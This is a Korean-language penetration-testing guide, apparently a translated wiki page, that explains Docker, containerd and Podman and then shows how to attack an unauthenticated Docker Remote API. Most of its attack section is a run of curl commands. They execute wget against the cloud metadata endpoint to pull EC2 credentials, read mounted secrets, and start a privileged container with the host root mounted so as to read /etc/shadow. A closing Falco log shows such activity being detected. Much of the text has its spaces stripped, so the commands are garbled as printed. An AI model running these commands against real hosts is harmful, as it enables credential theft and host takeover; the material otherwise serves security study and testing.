Docker는 컨테이너화 산업의 최전선 플랫폼으로, 지속적인 혁신을 선도합니다. 이는 전통적인 것부터 미래적인 것까지 애플리케이션의 손쉬운 생성 및 배포를 촉진하며, 다양한 환경에서의 안전한 배포를 보장합니다.
Basic docker architecture
containerd: 이는 컨테이너의 생애 주기를 포괄적으로 관리하는 핵심 런타임입니다. 여기에는 이미지 전송 및 저장을 처리하고, 컨테이너의 실행, 모니터링 및 네트워킹을 감독하는 것이 포함됩니다. containerd에 대한 더 자세한 통찰은 추가적으로 탐구됩니다.
container-shim은 헤드리스 컨테이너를 처리하는 데 있어 중개자로서 중요한 역할을 하며, 컨테이너가 초기화된 후 runc에서 원활하게 인계받습니다.
runc: 경량 및 범용 컨테이너 런타임 기능으로 유명한 runc는 OCI 표준에 맞춰져 있습니다. 이는 containerd가 OCI 지침에 따라 컨테이너를 시작하고 관리하는 데 사용되며, 원래의 libcontainer에서 발전하였습니다.
grpc는 containerd와 docker-engine 간의 통신을 촉진하는 데 필수적이며, 효율적인 상호작용을 보장합니다.
OCI는 런타임 및 이미지에 대한 OCI 사양을 유지하는 데 중요한 역할을 하며, 최신 Docker 버전은 OCI 이미지 및 런타임 표준을 모두 준수합니다.
Basic commands
dockerversion#Get version of docker client, API, engine, containerd, runc, docker-initdockerinfo#Get more infomarion about docker settingsdockerpullregistry:5000/alpine#Download the imagedockerinspect<containerid>#Get info of the contaienrdockernetworkls#List network infodockerexec-it<containerid>/bin/sh#Get shell inside a containerdockercommit<cotainerid>registry:5000/name-container#Update containerdockerexport-oalpine.tar<containerid>#Export container as tar filedockersave-oubuntu.tar<image>#Export an imagedockerps-a#List running and stopped containersdockerstop<containedID>#Stop running containerdockerrm<containerID>#Remove container IDdockerimagels#List imagesdockerrmi<imgeID>#Remove imagedockersystemprune-a#This will remove:# - all stopped containers# - all networks not used by at least one container# - all images without at least one container associated to them# - all build cache
Containerd
Containerd는 Docker와 Kubernetes와 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 특별히 개발되었습니다. 이는 Linux, Windows, Solaris 등 다양한 운영 체제에서 컨테이너 실행을 단순화하는 것을 목표로 하며, 운영 체제별 기능과 시스템 호출을 추상화합니다. Containerd의 목표는 사용자에게 필요한 필수 기능만 포함하고 불필요한 구성 요소는 생략하는 것입니다. 그러나 이 목표를 완전히 달성하는 것은 도전적인 것으로 인정됩니다.
주요 설계 결정 중 하나는 Containerd가 네트워킹을 처리하지 않는다는 것입니다. 네트워킹은 분산 시스템에서 중요한 요소로 간주되며, 소프트웨어 정의 네트워킹(SDN) 및 서비스 발견과 같은 복잡성은 플랫폼마다 크게 다릅니다. 따라서 Containerd는 지원하는 플랫폼이 네트워킹 측면을 관리하도록 남겨둡니다.
Docker가 Containerd를 사용하여 컨테이너를 실행하는 동안, Containerd는 Docker의 기능 중 일부만 지원한다는 점에 유의해야 합니다. 구체적으로, Containerd는 Docker에 있는 네트워크 관리 기능이 없으며 Docker 스웜의 생성을 직접 지원하지 않습니다. 이 구분은 Containerd가 컨테이너 런타임 환경으로서의 집중된 역할을 강조하며, 통합하는 플랫폼에 더 전문화된 기능을 위임합니다.
#Containerd CLIctrimagespull--skip-verify--plain-httpregistry:5000/alpine:latest#Get imagectrimageslist#List imagesctrcontainercreateregistry:5000/alpine:latestalpine#Create container called alpinectrcontainerlist#List containersctrcontainerinfo<containerName>#Get container infoctrtaskstart<containerName>#You are given a shell inside of itctrtasklist#Get status of containersctrtasksattach<containerName>#Get shell in running containerctrtaskpause<containerName>#Stop containerctrtasksresume<containerName>#Resume cotainerctrtaskkill-sSIGKILL<containerName>#Stop running containerctrcontainerdelete<containerName>
Podman
Podman은 Red Hat에서 개발 및 유지 관리하는 오픈 소스 컨테이너 엔진으로, Open Container Initiative (OCI) 표준을 준수합니다. 데몬 없는 아키텍처와 루트 없는 컨테이너 지원 등 여러 가지 독특한 기능으로 Docker와 차별화됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.
Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령어를 사용할 수 있습니다. 이 호환성은 컨테이너 이미지 빌드를 위한 Buildah와 푸시, 풀, 검사와 같은 이미지 작업을 위한 Skopeo와 같은 도구를 포함하는 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 GitHub 페이지에서 확인할 수 있습니다.
주요 차이점
아키텍처: Docker의 클라이언트-서버 모델과 백그라운드 데몬과 달리, Podman은 데몬 없이 작동합니다. 이 설계는 컨테이너가 시작하는 사용자의 권한으로 실행되므로 루트 접근이 필요 없어 보안을 강화합니다.
Systemd 통합: Podman은 systemd와 통합되어 컨테이너를 관리하며, systemd 유닛을 통해 컨테이너 관리를 가능하게 합니다. 이는 Docker가 주로 Docker 데몬 프로세스를 관리하기 위해 systemd를 사용하는 것과 대조적입니다.
루트 없는 컨테이너: Podman의 중요한 기능은 시작하는 사용자의 권한으로 컨테이너를 실행할 수 있는 능력입니다. 이 접근 방식은 공격자가 루트 접근이 아닌 손상된 사용자의 권한만 얻도록 하여 컨테이너 침해와 관련된 위험을 최소화합니다.
Podman의 접근 방식은 사용자 권한 관리와 기존 Docker 워크플로우와의 호환성을 강조하며 Docker에 대한 안전하고 유연한 대안을 제공합니다.
Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:
podman--versionpodmaninfopdomanimageslspodmanls
기본 정보
Remote API는 활성화되면 기본적으로 2375 포트에서 실행됩니다. 기본적으로 이 서비스는 인증을 요구하지 않으며, 공격자가 권한이 있는 도커 컨테이너를 시작할 수 있게 합니다. Remote API를 사용하면 호스트 / (루트 디렉토리)를 컨테이너에 연결하고 호스트 환경의 파일을 읽거나 쓸 수 있습니다.
기본 포트: 2375
PORT STATE SERVICE
2375/tcp open docker
Enumeration
Manual
docker API를 열거하기 위해 docker 명령어 또는 curl을 사용할 수 있다는 점에 유의하세요. 다음 예와 같이:
가끔 TLS 엔드포인트에 2376이 열려 있는 것을 볼 수 있습니다. 도커 클라이언트로는 연결할 수 없었지만 curl로는 연결할 수 있습니다.
#List containerscurl–insecurehttps://tlsopen.docker.socket:2376/containers/json|jq#List processes inside a containercurl–insecurehttps://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top|jq#Set up and exec job to hit the metadata URLcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec-d'{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'#Get the outputcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start-d'{}'# list secrets (no secrets/swarm not set up)curl-s–insecurehttps://tlsopen.docker.socket:2376/secrets|jq#Check what is mountedcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec-d'{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'#Get the output by starting the execcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start-d'{}'#Cat the mounted secretcurl–insecure-XPOST-H"Content-Type: application/json"https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec-d'{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)curl-s–insecurehttps://tls-opendocker.socket:2376/services|jq#Creating a container that has mounted the host file system and read /etc/shadowcurl–insecure-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket2376/containers/create?name=test-d'{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'curl–insecure-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=testcurl–insecure-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec-d'{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'curl–insecure-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start-d'{}'#Stop the containercurl–insecure-vv-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop#Delete stopped containerscurl–insecure-vv-XPOST-H"Content-Type: application/json"https://tls-opendocker.socket:2376/containers/prune
다음 코드 조각에서 Falco가 커널 모듈을 컴파일하고 삽입하는 방법에 주목하십시오. 그 후, 규칙을 로드하고 의심스러운 활동을 로깅하기 시작합니다. 이 경우, 2개의 특권 컨테이너가 시작되었고, 그 중 1개는 민감한 마운트를 가지고 있으며, 몇 초 후에 하나의 컨테이너 내부에서 셸이 열리는 것을 감지했습니다.
dockerrun-it--privileged-v/var/run/docker.sock:/host/var/run/docker.sock-v/dev:/host/dev-v/proc:/host/proc:ro-v/boot:/host/boot:ro-v/lib/modules:/host/lib/modules:ro-v/usr:/host/usr:rofalco* Setting up /usr/src links from host* Unloading falco-probe, ifpresent* Running dkms install for falcoKernelpreparationunnecessaryforthiskernel.Skipping...Buildingmodule:cleaningbuildarea......make-j3KERNELRELEASE=5.0.0-20-generic-C/lib/modules/5.0.0-20-generic/buildM=/var/lib/dkms/falco/0.18.0/build.............cleaningbuildarea......DKMS:buildcompleted.falco-probe.ko:Runningmoduleversionsanitycheck.modinfo:ERROR:missingmoduleorfilename.-Originalmodule-Nooriginalmoduleexistswithinthiskernel-Installation-Installingto/lib/modules/5.0.0-20-generic/kernel/extra/mkdir:cannotcreatedirectory'/lib/modules/5.0.0-20-generic/kernel/extra':Read-onlyfilesystemcp:cannotcreateregularfile'/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko':Nosuchfileordirectorydepmod...DKMS:installcompleted.* Trying to load a dkms falco-probe, ifpresentfalco-probefoundandloadedindkms2021-01-04T12:03:20+0000:Falcoinitializedwithconfigurationfile/etc/falco/falco.yaml2021-01-04T12:03:20+0000:Loadingrulesfromfile/etc/falco/falco_rules.yaml:2021-01-04T12:03:22+0000:Loadingrulesfromfile/etc/falco/falco_rules.local.yaml:2021-01-04T12:03:22+0000:Loadingrulesfromfile/etc/falco/k8s_audit_rules.yaml:2021-01-04T12:03:24+0000:Startinginternalwebserver,listeningonport87652021-01-04T12:03:24.646959000+0000:NoticePrivilegedcontainerstarted (user=<NA> command=container:db5dfd1b6a32laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)2021-01-04T12:03:24.664354000+0000:NoticeContainerwithsensitivemountstarted (user=<NA> command=container:4822e8378c00xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)2021-01-04T12:03:24.664354000+0000:NoticePrivilegedcontainerstarted (user=root command=container:4443a8daceb8focused_brahmagupta (id=4443a8daceb8) image=falco:latest)2021-01-04T12:04:56.270553320+0000:NoticeAshellwasspawnedinacontainerwithanattachedterminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)